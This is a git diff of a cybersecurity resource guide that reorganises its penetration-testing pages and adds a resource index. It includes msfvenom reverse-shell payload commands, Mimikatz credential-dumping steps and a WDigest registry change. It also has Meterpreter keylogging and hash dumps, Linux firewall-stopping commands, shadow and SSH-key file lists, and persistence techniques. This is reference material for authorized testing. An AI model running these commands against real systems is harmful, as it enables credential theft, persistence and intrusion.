[Oscanner](https://www.kali.org/tools/oscanner/) - an Oracle assessment framework developed in Java. @@ -979,7 +981,7 @@ This package contains the ODAT (Oracle Database Attacking Tool), an open source ## 1723 - PPTP -* [thc-pptp-bruter](https://www.kali.org/tools/thc-pptp-bruter/) - Brute force program against pptp vpn endpoints (tcp port 1723). Fully standalone. Supports latest MSChapV2 authentication. Tested against Windows and Cisco gateways. Exploits a weakness in Microsoft’s anti-brute force implementation which makes it possible to try 300 passwords the second. +See the PPTP section above. Avoid duplicating the same PPTP material in multiple places on this page. ## 1900 - SSDP (UDP) @@ -1053,8 +1055,7 @@ Default passwords: ## 3306 - MySQL -* [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) - A PowerShell Toolkit for Attacking SQL Server - * [https://github.com/NetSPI/PowerUpSQL/wiki](https://github.com/NetSPI/PowerUpSQL/wiki) +PowerUpSQL is a SQL Server toolkit and is maintained in the MSSQL section above. {% tabs %} {% tab title="Connect" %} @@ -1154,7 +1155,11 @@ rdesktop -u username -p password -g 85% -r disk:share=/root/ 10.10.10.10 ## 5060 - SIP -* [SipVicious](https://github.com/EnableSecurity/sipvicious) - SIPVicious OSS is a set of security tools that can be used to audit SIP based VoIP systems. Specifically, it allows you to find SIP servers, enumerate SIP extensions and finally, crack their password. +SIP/VoIP testing is maintained in Special Targets. + +{% content-ref url="../exploitation-and-targets/special-targets.md" %} +[special-targets.md](../exploitation-and-targets/special-targets.md) +{% endcontent-ref %} ## 5432 - PostgreSQL @@ -1265,7 +1270,7 @@ Client: ## 9200 - Elastic Search API -* [https://raw.githubusercontent.com/XiphosResearch/exploits/master/E;asticSearch/elastic\_shell.py](https://raw.githubusercontent.com/XiphosResearch/exploits/master/E;asticSearch/elastic\_shell.py) +* [XiphosResearch Elasticsearch shell](https://raw.githubusercontent.com/XiphosResearch/exploits/master/ElasticSearch/elastic_shell.py) ## 11211 - Memcached diff --git a/red-offensive/testing-methodology/lateral-movement.md b/red-offensive/testing-methodology/lateral-movement.md index 319e595..16d270b 100644 --- a/red-offensive/testing-methodology/lateral-movement.md +++ b/red-offensive/testing-methodology/lateral-movement.md @@ -100,6 +100,9 @@ Plink.exe * \#sudo proxychains nmap --top-ports=20 -sT -Pn 192.168.1.110 * [How to set up ProxyChains - Stay Anonymous](lateral-movement.md#linux-ssh-tunneling) * [How to set up ProxyChains - Change IP](https://youtu.be/FtFTh-KVjsA) +* [Kalitorify](https://github.com/brainfuckSec/kalitorify) - Kali-focused transparent proxying through Tor for authorized lab/pentest routing. +* [multitor](https://github.com/trimstray/multitor) - Creates multiple Tor instances with load balancing. Useful for lab routing tests, not a substitute for OPSEC planning. +* [CrowdStrike/Tortilla](https://github.com/CrowdStrike/Tortilla) - Historical Windows Tor routing tool; useful context for older workflows but verify platform support before use. {% endtab %} {% tab title="Other Tools" %} @@ -154,7 +157,7 @@ Plink.exe * [Performing Pass-the-hash Attacks With Mimikatz](https://blog.stealthbits.com/passing-the-hash-with-mimikatz) * [How to Pass-the-Hash with Mimikatz](https://blog.cobaltstrike.com/2015/05/21/how-to-pass-the-hash-with-mimikatz/) * [Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy](https://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/) -* _PTFM: Metasploit/Emipre Pass-the-hash - pg. 52_ +* _PTFM: Metasploit/Empire Pass-the-hash - pg. 52_ {% endtab %} {% tab title="SSH Tunnel and Port Fwd" %} @@ -163,7 +166,7 @@ Plink.exe * \# ssh -N -L \[bind\_address:]port:host:hostport \[username@address] * \# sudo ssh -N -L 0.0.0.0:445:192.168.1.110:445 student@10.11.0.128 * SSH Remote port forwarding - * \# cat /root/port\_forwarding\_and\_tunneling/ssh\_remote\_port\_forwarding.sh ◇# ssh -N -R \[bind\_address:]port:host:hostport \[username@address] + * \# ssh -N -R \[bind\_address:]port:host:hostport \[username@address] * ssh -N -R 10.11.0.4:2221:127.0.0.1:3306 kali@10.11.0.4 * SSH Dynamic Port forwarding * \# ssh -N -D : \@ diff --git a/red-offensive/testing-methodology/password-attacks.md b/red-offensive/testing-methodology/password-attacks.md index 342deff..b63a4f3 100644 --- a/red-offensive/testing-methodology/password-attacks.md +++ b/red-offensive/testing-methodology/password-attacks.md @@ -46,13 +46,7 @@ description: Password1234! * [BruteScrape](https://github.com/cheetz/brutescrape) - A web scraper for generating password files based on plain text found * [Mentalist](https://github.com/sc0tfree/mentalist) - Mentalist is a graphical tool for custom wordlist generation. It utilizes common human paradigms for constructing passwords and can output the full wordlist as well as rules compatible with [Hashcat](https://hashcat.net/hashcat) and [John the Ripper](http://www.openwall.com/john). -**Wordlist Rules** - -* [https://github.com/hashcat/hashcat/tree/master/rules](https://github.com/hashcat/hashcat/tree/master/rules) -* [http://contest-2010.korelogic.com/rules-hashcat.html](http://contest-2010.korelogic.com/rules-hashcat.html) -* [https://github.com/cyberspacekittens/nsa-rules](https://github.com/cyberspacekittens/nsa-rules) -* [https://github.com/cyberspacekittens/Hob0Rules](https://github.com/cyberspacekittens/Hob0Rules) -* [https://github.com/cyberspacekittens/password\_cracking\_rules](https://github.com/cyberspacekittens/password\_cracking\_rules) +Hashcat rules are maintained in the Hashcat tab below. {% endtab %} {% endtabs %} @@ -118,7 +112,7 @@ Reference {% tabs %} {% tab title="Online Cracking" %} -* [https://crackstation.net/](https://crackstation.net/) +* [CrackStation](https://crackstation.net/) * [https://www.cmd5.org/](https://www.cmd5.org/) * [https://hashkiller.io/listmanager](https://hashkiller.io/listmanager) * [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com/) @@ -136,6 +130,7 @@ Reference * [MDXfind Bible | Infosec and Password Cracking Blog](https://0xln.pw/MDXfindbible) * _Operator Handbook: MDXFind - pg. 195_ * [Ciphey](https://github.com/Ciphey/Ciphey) - Fully automated decryption/decoding/cracking tool using natural language processing & artificial intelligence, along with some common sense. +* [MD5 Decrypt](https://md5decrypt.net/en/) - Online hash lookup and hash conversion utility. * [cmospwd](https://www.kali.org/tools/cmospwd/) - a cross-platform tool to decrypt password stored in CMOS used to access a computer’s BIOS setup. * [crack](https://www.kali.org/tools/crack/) - Crack is program designed to quickly locate vulnerabilities in Unix (or other) password files by scanning the contents of a password file, looking for users who have misguidedly chosen a weak login password. * [rainbowcrack](https://www.kali.org/tools/rainbowcrack/) - RainbowCrack is a general propose implementation of Philippe Oechslin’s faster time-memory trade-off technique. It crack hashes with rainbow tables. @@ -157,6 +152,9 @@ World's fastest and most advanced password recovery utility * [https://www.blackhillsinfosec.com/hashcat-4-10-cheat-sheet-v-1-2018-1/](https://www.blackhillsinfosec.com/hashcat-4-10-cheat-sheet-v-1-2018-1/) * [https://github.com/hashcat/hashcat/tree/master/rules](https://github.com/hashcat/hashcat/tree/master/rules) * [http://contest-2010.korelogic.com/rules-hashcat.html](http://contest-2010.korelogic.com/rules-hashcat.html) +* [NSA Rules](https://github.com/cyberspacekittens/nsa-rules) +* [Hob0Rules](https://github.com/cyberspacekittens/Hob0Rules) +* [password_cracking_rules](https://github.com/cyberspacekittens/password_cracking_rules) * _Operator Handbook: Hashcat - pg. 90_ GPU cracking: @@ -172,7 +170,6 @@ $ hashcat -m 500 -a 0 -o output.txt -remove hashes.txt /usr/share/wordlists/rock [John The Ripper](https://www.offensive-security.com/metasploit-unleashed/john-ripper/) - The John The Ripper module is used to identify weak passwords that have been acquired as hashed files (loot) or raw LANMAN/NTLM hashes (hashdump). The goal of this module is to find trivial passwords in a short amount of time. To crack complex passwords or use large wordlists, John the Ripper should be used outside of Metasploit. * [https://github.com/openwall/john](https://github.com/openwall/john) -* [https://tryhackme.com/room/johntheripper0](https://tryhackme.com/room/johntheripper0) * Jumbo John - John the Ripper distro with added features * [https://www.openwall.com/john/k/john-1.9.0-jumbo-1-win64.zip](https://www.openwall.com/john/k/john-1.9.0-jumbo-1-win64.zip) * Operator Handbook: John the Ripper - pg. 104 diff --git a/red-offensive/testing-methodology/payloads-and-obfuscation/msfvenom-commands.md b/red-offensive/testing-methodology/payloads-and-obfuscation/msfvenom-commands.md index d77d862..c88d7a3 100644 --- a/red-offensive/testing-methodology/payloads-and-obfuscation/msfvenom-commands.md +++ b/red-offensive/testing-methodology/payloads-and-obfuscation/msfvenom-commands.md @@ -59,3 +59,14 @@ msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -f exe ## Windows reverse shell embedded into plink msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -e x86/shikata\_ga\_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell\_reverse\_msf\_encoded\_embedded.exe + +## Payload and Malware Development References + +These are offensive development references. They were moved here from DFIR so the malware-analysis page can stay focused on defensive analysis. + +* [0xPat](https://0xpat.github.io/) - Red/purple team blog with malware development write-ups. +* [Malware Development Part 1](https://0xpat.github.io/Malware_development_part_1/) +* [Malware Development Part 2](https://0xpat.github.io/Malware_development_part_2/) +* [Coldfire](https://github.com/redcode-labs/Coldfire) - Golang malware development framework. +* [BYOB](https://github.com/malwaredllc/byob) - Open-source post-exploitation/botnet framework for research and training. + * [BYOB in Action](https://perception-point.io/resources/research/byob-build-your-own-botnet-in-action/) diff --git a/red-offensive/testing-methodology/post-exploitation/defense-evasion.md b/red-offensive/testing-methodology/post-exploitation/defense-evasion.md index 52657a8..f7d02cd 100644 --- a/red-offensive/testing-methodology/post-exploitation/defense-evasion.md +++ b/red-offensive/testing-methodology/post-exploitation/defense-evasion.md @@ -18,6 +18,7 @@ * [https://github.com/BC-SECURITY/DEFCON27](https://github.com/BC-SECURITY/DEFCON27) * [https://0xhop.github.io/evasion/2021/04/19/evasion-pt1/](https://0xhop.github.io/evasion/2021/04/19/evasion-pt1/) * [https://0xhop.github.io/evasion/2021/05/26/evasion-pt2/](https://0xhop.github.io/evasion/2021/05/26/evasion-pt2/) +* [DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) - Historical PowerShell logging disable proof of concept. Keep this in authorized lab context; modern PowerShell logging and EDR controls vary by environment. * [https://threatpost.com/six-malicious-linux-shell-scripts-how-to-stop-them/168127/](https://threatpost.com/six-malicious-linux-shell-scripts-how-to-stop-them/168127/) * [https://elastic.github.io/security-research/whitepapers/2022/02/02.sandboxing-antimalware-products-for-fun-and-profit/article/](https://elastic.github.io/security-research/whitepapers/2022/02/02.sandboxing-antimalware-products-for-fun-and-profit/article/) * _Penetration Testing: Bypassing Antivirus Applications - pg.257_ diff --git a/red-offensive/testing-methodology/post-exploitation/enumeration-and-harvesting.md b/red-offensive/testing-methodology/post-exploitation/enumeration-and-harvesting.md index e54f586..2d6e53f 100644 --- a/red-offensive/testing-methodology/post-exploitation/enumeration-and-harvesting.md +++ b/red-offensive/testing-methodology/post-exploitation/enumeration-and-harvesting.md @@ -67,9 +67,9 @@ iRedTeam blog - [https://www.ired.team/offensive-security/credential-access-and- LaZagne is an open-source tool used in post-exploitation to recover stored passwords on a system. Its modules support Windows, Linux, and OSX, but are primarily intended for Windows systems.\ Software uses different techniques to save credentials, such as saving them to a plaintext file, local databases or credential managers. LaZagne is able to search for these common methods and retrieve any passwords it finds.\ -LaZagne is capable of extracting passwords from 87 different software applications from the following categories of software:\ +LaZagne is capable of extracting passwords from many software applications across these categories:\ Browsers, Chats, Databases, Games, Git, Mails, Maven, Dumps from memory, Multimedia, PHP, SVN, Sysadmin, WIFI, and Internal mechanism password storage\ -The LaZagne tool along with a full list of software that it supports is available in the [public GitHib repository](https://github.com/AlessandroZ/LaZagne). +The LaZagne tool along with a full list of supported software is available in the [public GitHub repository](https://github.com/AlessandroZ/LaZagne). [https://www.youtube.com/watch?v=AwFyiFOXrd0](https://www.youtube.com/watch?v=AwFyiFOXrd0)\ \ @@ -105,20 +105,20 @@ Simply double clicking on the executable ‘Lazagne.exe' will cause a warning me * [SafetyKatz](https://github.com/GhostPack/SafetyKatz) - SafetyKatz is a combination of slightly modified version of @gentilkiwi's Mimikatz project and @subTee's .NET PE Loader. * [spraykatz](https://www.kali.org/tools/spraykatz/) - This package contains a tool without any pretention able to retrieve credentials on Windows machines and large Active Directory environments. * [pypykatz](https://github.com/skelsec/pypykatz) - Mimikatz implementation in pure Python -* Can be run im memory so you dont drop and executable on the target -* Commands - will give clear text pw of currently logged in users +* Can be run in memory so you do not drop an executable on the target. +* Commands to dump credential material from currently logged-in users: * \> C:\Tools\password\_attacks\mimikatz.exe * \# privilege::debug * \# token::elevate #elevate session to SYSTEM level * \# kerberos * \# wdigest * \# lsadump::sam #Dump SAM database -* Windows 10 issue - Mimikatz will pull a NULL value when pulling creds as they are no longer in LSASS - * Set registry key to put the credentials back into LSASS +* Legacy WDigest note: modern Windows versions no longer keep cleartext WDigest credentials in LSASS by default. Re-enabling `UseLogonCredential` is a legacy regression test and should only be done in an explicitly authorized lab. + * Set this registry key only if that legacy behavior is in scope: * \> reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG\_DWORD /d 1 /f * Empire Command version * \>shell reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG\_DWORD /d 1 /f - * You will need the user to relog into the system for this to take affect. Force this by locking thier workstation. + * The user must log in again before credentials appear in LSASS. * rundll32.exe user32.dll,LockWorkStation * Mimikatz NTLM hash of all users * \#reg save hklm\sam filename1.hiv @@ -127,31 +127,11 @@ Simply double clicking on the executable ‘Lazagne.exe' will cause a warning me * mimikatz#token::elevate * mimikatz#log hash.txt * mimikatz#lsadump::sam filename1.hiv filename2.hiv -* Mimikittenz +* [Mimikittenz](https://github.com/putterpanda/mimikittenz) * POC style tool that utilizes windows function ReadProcessMemory() to extract plain text passwords from various targets such as browsers * Search queries preloaded for Gmail, O365, Jira, github, bugzilla,zendesk, Cpanel, Dropbox, onedrive, AWS, SLack, Twitter, and Facebook * Does not require Local admin, it runs in Userland mem - * [http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis](http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis) - * Back door a privileged AD account with Mimikatz - * To install the skeleton key - * \>mimikatz.exe “privilege::debug” “misc::skeleton” exit - * Use - * \>net use \* \\\dc\c$ mimikatz /user:lab@attacker.domain - * [https://xapax.github.io/security/#attacking\_active\_directory\_domain/active\_directory\_privilege\_escalation/credential\_extraction/](https://xapax.github.io/security/#attacking\_active\_directory\_domain/active\_directory\_privilege\_escalation/credential\_extraction/) - * [http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis](http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis) - * Back door a privileged AD account with Mimikatz - * To install the skeleton key - * \>mimikatz.exe “privilege::debug” “misc::skeleton” exit - * Use - * \>net use \* \\\dc\c$ mimikatz /user:lab@attacker.domain - * [https://xapax.github.io/security/#attacking\_active\_directory\_domain/active\_directory\_privilege\_escalation/credential\_extraction/](https://xapax.github.io/security/#attacking\_active\_directory\_domain/active\_directory\_privilege\_escalation/credential\_extraction/) - * [http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis](http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis) - * Back door a privileged AD account with Mimikatz - * To install the skeleton key - * \>mimikatz.exe “privilege::debug” “misc::skeleton” exit - * Use - * \>net use \* \\\dc\c$ mimikatz /user:lab@attacker.domain - * [https://xapax.github.io/security/#attacking\_active\_directory\_domain/active\_directory\_privilege\_escalation/credential\_extraction/](https://xapax.github.io/security/#attacking\_active\_directory\_domain/active\_directory\_privilege\_escalation/credential\_extraction/) + * Skeleton Key persistence is covered once in the Skeleton Key tab below. {% endtab %} {% endtabs %} @@ -278,15 +258,16 @@ DCSync (Modern) {% endtab %} {% tab title="GPP Vuln" %} -Group Policy Preference Vul +Group Policy Preferences vulnerability -* Info for accounts under GPP stored in a Groups.xml file that contains cpassword hash. -* Uses a publiclally posed Microsoft AES , easy to find, easy to use -* Exploit available Under powersploit script Get-GPPPassword.ps1 +* Account information stored through vulnerable GPP configurations can appear in `Groups.xml` with a `cpassword` value. +* Microsoft published the AES key used for GPP `cpassword` values, so these passwords are recoverable. +* Exploit available under the PowerSploit script `Get-GPPPassword.ps1`. * Metasploit module * \>use post/windows/gather/credentials/gpp * \>set SESSION \[Session # of your shell] * \>exploit +* [gpp-decrypt](https://www.kali.org/tools/gpp-decrypt/) - Decrypts Group Policy Preferences `cpassword` strings. * [http://esec-pentest.sogeti.com/public/files/gpprefdecrypt.py](http://esec-pentest.sogeti.com/public/files/gpprefdecrypt.py) * [Net-GPPPassword](https://github.com/outflanknl/Net-GPPPassword) - .NET implementation of Get-GPPPassword. Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. {% endtab %} diff --git a/red-offensive/testing-methodology/post-exploitation/meterpreter-post-auth-runbook.md b/red-offensive/testing-methodology/post-exploitation/meterpreter-post-auth-runbook.md index 0e53b56..805cdb0 100644 --- a/red-offensive/testing-methodology/post-exploitation/meterpreter-post-auth-runbook.md +++ b/red-offensive/testing-methodology/post-exploitation/meterpreter-post-auth-runbook.md @@ -1,55 +1,92 @@ # Meterpreter Post-Auth Runbook -Meterpreter Post-exploitation Modules ◇ > use post/windows/gather/enum\_logged\_on\_users ◇ Railgun - Meterpreter extension that allows direct access to Windows APIs ◇ IRB - ruby shell in meterpreter - -Meterpreter Post Auth - -* Info gathering - * getuid - * getpid - * getsprivs - * sysinfo - * screenshot - * run winenum.rb - * run scraper.rb - * run checkvm - * run credscollect - * run get\_local\_subnets -* Priv Esc - * ps then migrate - * getsystem -* Tokens - * list\_tokens -u - * impersonate\_token - * steal\_token \[pid] - * rev2self -* Retrieve passwords - * hashdump - * cachedump - * post/windows/gather/smart\_hashdump - * post/windows/gather/credentials/vnc -* Session - * enumdesktops - * getdesktop - * setdesktop - * uictl disable keyboard -* keylog - * keyscan\_start - * keyscan\_dump - * keyscan\_stop - * Nix Post Auth -* Disable Firewall - * /etc/init.d/iptables save - * /etc/init.d/iptables stop - * iptables-save > root/firewall.rules - * iptables-restore < /root/firewall.rules -* Files to pull - * /etc/passwd - * /etc/shadow OR /etc/security/shadow - * /etc/groups OR /etc/gshadow - * /home/_/.ssh/id_ - * /etc/sudoers -* User Information - * grep ^ssh /home/_/._hist __ - * _grep ^telnet /home/_/._hist_ - * grep ^mysql /home/_/._hist\* +Use this as a quick checklist after getting a Meterpreter session during an authorized engagement. Meterpreter is heavily detected in modern environments, so document exactly what was run and prefer the least invasive command that answers the test objective. + +## Session Context + +```text +getuid +getpid +getprivs +sysinfo +ipconfig +route +``` + +## Discovery Modules + +```text +run post/windows/gather/enum_logged_on_users +run winenum +run scraper +run checkvm +run get_local_subnets +``` + +Railgun provides direct access to Windows APIs, and IRB opens a Ruby shell inside Meterpreter. Use both carefully because they make sessions harder to reproduce from notes if you do not record exact commands. + +## Privilege and Token Work + +```text +getsystem +ps +migrate +list_tokens -u +impersonate_token +steal_token +rev2self +``` + +## Credential Collection + +```text +hashdump +run post/windows/gather/smart_hashdump +run post/windows/gather/credentials/vnc +``` + +For broader credential harvesting workflows, use the Enumeration and Harvesting page. + +{% content-ref url="enumeration-and-harvesting.md" %} +[enumeration-and-harvesting.md](enumeration-and-harvesting.md) +{% endcontent-ref %} + +## Desktop and Interaction + +```text +enumdesktops +getdesktop +setdesktop +screenshot +keyscan_start +keyscan_dump +keyscan_stop +``` + +Only use keyboard capture, screenshots, and interactive desktop controls when they are explicitly permitted by the rules of engagement. + +## Linux Post-Auth Notes + +```bash +/etc/init.d/iptables save +/etc/init.d/iptables stop +iptables-save > /root/firewall.rules +iptables-restore < /root/firewall.rules +``` + +Files commonly collected during Linux post-auth review: + +* `/etc/passwd` +* `/etc/shadow` or `/etc/security/shadow` +* `/etc/group` or `/etc/gshadow` +* `/home/*/.ssh/id_*` +* `/etc/sudoers` +* shell history files under `/home/*/` + +History quick checks: + +```bash +grep -i '^ssh' /home/*/.*_history +grep -i '^telnet' /home/*/.*_history +grep -i '^mysql' /home/*/.*_history +``` diff --git a/red-offensive/testing-methodology/post-exploitation/persistence.md b/red-offensive/testing-methodology/post-exploitation/persistence.md index a26a329..d453aaf 100644 --- a/red-offensive/testing-methodology/post-exploitation/persistence.md +++ b/red-offensive/testing-methodology/post-exploitation/persistence.md @@ -163,13 +163,13 @@ The goal of BDF is to patch executable binaries with user desired shellcode and * One common, low-skill method of achieving persistence is replacing the Windows accessibility features’ binary files with their own malicious binary or simply a renamed copy of Windows ‘cmd.exe’. * When a user tries to use the accessibility features, for example sticky keys, they will execute the ‘sethc.exe’ binary, which the attacker may have replaced with 'cmd.exe'. The result is that the user will be presented with a Windows command prompt. * Due to the Windows accessibility features being available from the lock screen of desktops and servers, they can be triggered without any credentials; and due to no user being logged into the machine, Windows has no concept of who should be triggering the binary. As such, the malicious binary will run under the context of the SYSTEM account. Desktops and servers which have RDP enabled increase the risk of an attacker being able to remotely trigger the persistence mechanism. -* The binaries for the accessibility features can be found in C:\Windows\System32\\ - * `sethc.exe – Sticky Keys`\ - `◇ Magnify.exe – Magnifier`\ - `◇ toolosk.exe – On-Screen Keyboard`\ - `◇ Narrator.exe – Narrator`\ - `◇ DisplaySwitch.exe – Display Switcher`\ - `◇ AtBroker.exe – App Switcher` +* The binaries for the accessibility features can be found in `C:\Windows\System32\`. + * `sethc.exe` - Sticky Keys + * `Magnify.exe` - Magnifier + * `osk.exe` - On-Screen Keyboard + * `Narrator.exe` - Narrator + * `DisplaySwitch.exe` - Display Switcher + * `AtBroker.exe` - App Switcher * The Image File Execution Option (IFEO) function allows for adding a debugging key into the registry, which causes the debugging binary to be executed when the target is launched. * `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\` * This registry entry then adds string values (REG\_SZ) called ‘Debugger’, with a value which contains the path and binary name, i.e ‘C:\Users\Administrator\Malware.exe’ diff --git a/red-offensive/wireless-hacking.md b/red-offensive/wireless-hacking.md index 27239c8..e830b63 100644 --- a/red-offensive/wireless-hacking.md +++ b/red-offensive/wireless-hacking.md @@ -13,8 +13,17 @@ * [mdk4](https://www.kali.org/tools/mdk4/) - A Wi-Fi testing tool from E7mer, ASPj of k2wrlz, it uses the osdep library from the aircrack-ng project to inject frames on several operating systems. * [c41n](https://github.com/MS-WEB-BN/c41n) - Automated rogue access point setup tool. * [https://hakin9.org/c41n-an-automated-rogue-access-point-setup-tool/](https://hakin9.org/c41n-an-automated-rogue-access-point-setup-tool/) -* Training - * [https://tryhackme.com/room/wifihacking101](https://tryhackme.com/room/wifihacking101) +Training rooms are maintained in Training. + +{% content-ref url="../training/" %} +[training](../training/) +{% endcontent-ref %} + +Bettercap wireless and MITM usage overlaps with the network attacks page. + +{% content-ref url="post-exploitation/network-attacks-harvesting-mitm.md" %} +[network-attacks-harvesting-mitm.md](post-exploitation/network-attacks-harvesting-mitm.md) +{% endcontent-ref %} ## Bluetooth diff --git a/resource-index.md b/resource-index.md new file mode 100644 index 0000000..0dc260b --- /dev/null +++ b/resource-index.md @@ -0,0 +1,70 @@ +--- +description: Search-friendly index of cyber security resource topics across blue team, red team, DFIR, OSINT, cloud, containers, AppSec, logging, privacy, and training. +--- + +# Resource Index + +This index points common search topics to their canonical page in the guide. It is intentionally high-level: detailed links and tool lists live on the section pages. + +## Blue Team and SOC + +* **Blue team resources, SOC operations, defensive security, hardening, threat hunting**: [Blue - Defensive Operations](blue-defense/README.md) +* **Detection engineering, SIEM rules, Sigma, Sysmon, IDS/IPS, detection use cases**: [Event Detection](blue-defense/event-detection/README.md) +* **Security query languages, KQL, Splunk SPL, Sigma, YARA-L, SIEM searches**: [Query Languages](blue-defense/query-languages.md) +* **Packet capture, PCAP analysis, Wireshark, Zeek, Suricata, network security monitoring**: [Packet Analysis](blue-defense/packet-analysis.md) +* **Vulnerability management, exposure management, code scanning, secret scanning**: [Asset and Vulnerability Management](blue-defense/vulnerability-management.md) + +## Logging and Architecture + +* **Security logging strategy, log collection, retention, log pipelines**: [Logging and Security Architecture](security-logging/README.md) +* **Endpoint logging, Windows Event Logs, Linux logs, Sysmon collection**: [Logging - Endpoint Logs](security-logging/logging-guide-windows-endpoint-logs.md) +* **Cloud audit logs, AWS CloudTrail, Azure activity logs, Microsoft 365 audit, Google Cloud logging**: [Logging - Cloud](security-logging/logging-cloud.md) +* **DNS logs, HTTP logs, SMTP logs, flow data, network service logs**: [Logging - Network Services](security-logging/logging-guide-network-services.md) +* **Asset inventory, device discovery, CMDB context, log source evaluation**: [Device Discovery and Asset Monitoring](security-logging/device-discovery-and-asset-inventory.md) + +## DFIR and Malware Analysis + +* **Incident response, DFIR tools, forensic triage, evidence collection**: [Blue - DFIR](dfir-digital-forensics-and-incident-response/README.md) +* **Windows DFIR commands, Windows event logs, process analysis, remediation commands**: [Windows DFIR Checks](dfir-digital-forensics-and-incident-response/windows-dfir-checks.md) +* **Linux DFIR commands, macOS DFIR commands, host investigation**: [Linux DFIR Commands](dfir-digital-forensics-and-incident-response/linux-dfir-commands.md) and [macOS DFIR Commands](dfir-digital-forensics-and-incident-response/macos-dfir-commands.md) +* **Memory forensics, Volatility, process memory, injected code**: [Memory Forensics](dfir-digital-forensics-and-incident-response/memory-forensics/README.md) +* **Malware analysis, sandboxing, file analysis, YARA, reverse engineering**: [Malware](dfir-digital-forensics-and-incident-response/malware.md) + +## Cyber Intelligence and OSINT + +* **Cyber threat intelligence, CTI, intelligence cycle, indicator enrichment**: [Cyber Intelligence](cyber-intelligence/README.md) +* **Threat feeds, blocklists, reputation sources, MISP, OpenCTI, TAXII/STIX**: [Intel Feeds and Sources](cyber-intelligence/intel-feeds-and-sources.md) +* **Threat data, hashes, URLs, domains, IP reputation, malware lookup**: [Threat Data](cyber-intelligence/threat-data.md) +* **OSINT tools, search engines, domain investigation, username and email investigation**: [OSINT](cyber-intelligence/osint/README.md) +* **Shodan, Censys, ZoomEye, FOFA, internet-exposed asset search**: [Cyber Search Engines](cyber-intelligence/osint/cyber-search.md) + +## Offensive Security + +* **Penetration testing, red team operations, offensive methodology**: [Red - Offensive Operations](red-offensive/README.md) +* **Active reconnaissance, Nmap, vulnerability scanning, recon frameworks**: [Reconnaissance and Scanning](red-offensive/scanning-active-recon/README.md) +* **Exploitation, Metasploit, payloads, shells, exploit research**: [Exploitation and Targets](red-offensive/exploitation-and-targets/README.md) +* **Post-exploitation, persistence, defense evasion, credential harvesting**: [Post Exploitation](red-offensive/testing-methodology/post-exploitation/README.md) +* **Active Directory attacks, lateral movement, password attacks, C2 frameworks**: [Attacking Active Directory](red-offensive/testing-methodology/active-directory.md) + +## Web Application Security + +* **Web application hacking, AppSec testing, bug bounty methodology, OWASP testing**: [Web App Hacking](web-app-hacking/README.md) +* **Burp Suite, Burp extensions, web proxy testing**: [Burp Suite](web-app-hacking/burp-suite.md) +* **Web app scanners, content discovery, API testing utilities**: [Web App Scanning Utilities](web-app-hacking/scanning-utilities.md) +* **OAuth, API security, TLS, certificates, WAF testing, web technologies**: [Web Technologies](web-app-hacking/web-technologies/README.md) +* **SQL injection, XSS, CSRF, XXE, request smuggling, IDOR, host header attacks**: [Attacks and Vulnerabilities](web-app-hacking/attacks-and-vulnerabilities/README.md) + +## Platform and Engineering Fundamentals + +* **Cloud security, AWS, Azure, Google Cloud, Microsoft 365, cloud testing**: [Cloud](cloud.md) +* **Docker, Kubernetes, container security, image scanning, runtime security**: [Containers](containers.md) +* **Networking, sysadmin, operating systems, Active Directory basics, protocols**: [Yellow - NetEng/SysAdmin](yellow-neteng-sysadmin.md) +* **Bash, PowerShell, command line, regex, scripting, data transformation**: [Yellow - Code and CLI](code-tools/README.md) +* **AI, machine learning, FOSS alternatives, security research datasets**: [Yellow - AI, Machine Learning, and FOSS](yellow-ai-machine-learning-and-foss.md) + +## Privacy, OPSEC, and Training + +* **Privacy, Tor, PGP, anonymity, secure communication, OPSEC**: [Grey - Privacy/TOR/OPSEC](grey-privacy-tor-opsec/README.md) +* **Cyber security training, courses, certifications, books, labs, CTF practice**: [Training and Resources](training/README.md) +* **Awesome lists, massive security resource collections, curated GitHub lists**: [The Awesome Lists](training/the-awesome-lists.md) +* **Practice labs, home labs, vulnerable environments, CTF platforms**: [Practice Lab](training/practice-lab.md) diff --git a/security-logging/README.md b/security-logging/README.md index f8c8e62..b04990a 100644 --- a/security-logging/README.md +++ b/security-logging/README.md @@ -1,154 +1,145 @@ --- -description: Logs and the logging loggers that log them +description: Security logging architecture resources for log collection, endpoint logs, cloud audit logs, network telemetry, retention, and log source evaluation. --- # Logging and Security Architecture -## **Logging Guides** +Security logging is the foundation for investigations, detections, threat hunting, compliance, and operational troubleshooting. This section focuses on what to collect, how to collect it, where to store it, and how to keep log quality high enough to support real work. -* [https://its.uiowa.edu/support/article/3576](https://its.uiowa.edu/support/article/3576) - Limiting or Removing Unwanted Network Traffic at the Client -* [https://cheatsheetseries.owasp.org/cheatsheets/Logging\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Logging\_Cheat\_Sheet.html) -* [https://cheatsheetseries.owasp.org/cheatsheets/Logging\_Vocabulary\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Logging\_Vocabulary\_Cheat\_Sheet.html) -* [https://github.com/Neo23x0/auditd](https://github.com/Neo23x0/auditd) - Best Practice Auditd Configuration -* [https://github.com/JSCU-NL/logging-essentials](https://github.com/JSCU-NL/logging-essentials) - A Windows event logging and collection baseline focused on finding balance between forensic value and optimising retention. -* Setting up Network Sensors - _Applied Network Security Monitoring_ - PG. 49 -* Sensor Placement - _Applied 